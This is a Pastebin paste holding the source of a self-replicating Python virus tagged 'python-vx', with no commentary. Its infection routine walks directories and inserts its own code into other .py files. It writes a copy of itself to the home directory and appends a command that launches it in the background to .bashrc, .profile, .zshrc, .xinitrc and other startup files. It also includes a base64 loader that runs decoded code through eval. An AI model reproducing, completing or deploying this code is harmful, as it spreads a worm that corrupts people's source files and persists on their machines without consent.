Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- class D():
- signature = 'python-vx'
- source =
- import threading
- import random, time, sys, string, inspect, re
- import os, traceback
- class Virii():
- def infect(self, path):
- import os, string
- #print "Try to infect: %s" % path
- #if self.debug:
- # print "Processing: %s" % path
- nl = os.linesep
- letters = string.letters
- if os.path.getsize(path) > 10000000:
- return False # Skip large files
- try:
- f = open(path)
- file_content = f.read()
- f.seek(0)
- except:
- if self.debug:
- print traceback.format_exc()
- return False
- if "python-vx" in file_content:
- if self.debug:
- print "Already infected: %s" % path
- f.close()
- return False
- file_content = ""
- data = ""
- i = 0
- infected = False
- #print f
- f.flush()
- old_line, old_line2 = "", ""
- for l in f:
- i += 1
- if i>20 and not infected:
- if (l[0] in letters and "try" not in old_line2) and old_line[0] == " " or old_line[0] == "#":
- data = data + nl+self.myself+nl
- infected = True
- data = data + l
- old_line2 = old_line
- old_line = l
- f.close()
- if infected:
- try:
- f = open(path, "w+")
- f.write(data)
- f.close()
- if self.debug:
- print "%s Infected!" % path
- except:
- if self.debug:
- print traceback.format_exc()
- return False
- def walk(self, path):
- import os
- for root, dirs, files in os.walk(path):
- for d in dirs:
- if not d[0]==".":
- full_dir = os.path.join(root, d)
- self.walk(full_dir)
- pass
- for f in files:
- path = os.path.join(root, f)
- if not f.endswith(".py"):
- pass
- #print "Skipp", path
- else:
- #print "Infect", path
- self.infect(path)
- def add_me(self, path):
- try:
- f = open(path, 'a')
- f.write(chr(10)+"python ~/tmp8.py & "+chr(10))
- f.close()
- except:
- if self.debug:
- print "Can't write to %s file" % bashrc
- print traceback.format_exc()
- def run(self):
- import threading, inspect, sys, os
- self.debug = False
- if self.debug:
- print "Threads:", threading.active_count()
- if threading.active_count()>2:
- if self.debug:
- print "Too many threads"
- return False
- self.myself = inspect.getsource(D)+os.linesep + inspect.getsource(a_a)+os.linesep+"a_a()"
- #print self.myself
- self.walk(".")
- if os.name == "posix" and self.debug == False:
- bashrc = "%s/.bashrc" % os.environ['HOME']
- tmp = "%s/tmp8.py" % os.environ['HOME']
- if os.path.exists(tmp) and not self.debug:
- pass
- else:
- try:
- f = open(tmp, 'w+')
- f.write(self.myself)
- f.close()
- except:
- if self.debug:
- print "Can't create tmp.py file"
- print traceback.format_exc()
- else:
- self.add_me(bashrc)
- self.add_me("%s/.xsession" % os.environ['HOME'])
- self.add_me("%s/.profile" % os.environ['HOME'])
- self.add_me("%s/.kshrc" % os.environ['HOME'])
- self.add_me("%s/.zshrc" % os.environ['HOME'])
- self.add_me("%s/.cshrc" % os.environ['HOME'])
- self.add_me("%s/.xinitrc" % os.environ['HOME'])
- t = Virii()
- t.run()
- def a_a():
- try:
- import base64, sys, inspect, os
- code = base64.b64decode(D.source)
- d = compile(code, filename=" ", mode="exec")
- eval(d, globals(), locals())
- except:
- pass
Advertisement
Add Comment
Please, Sign In to add comment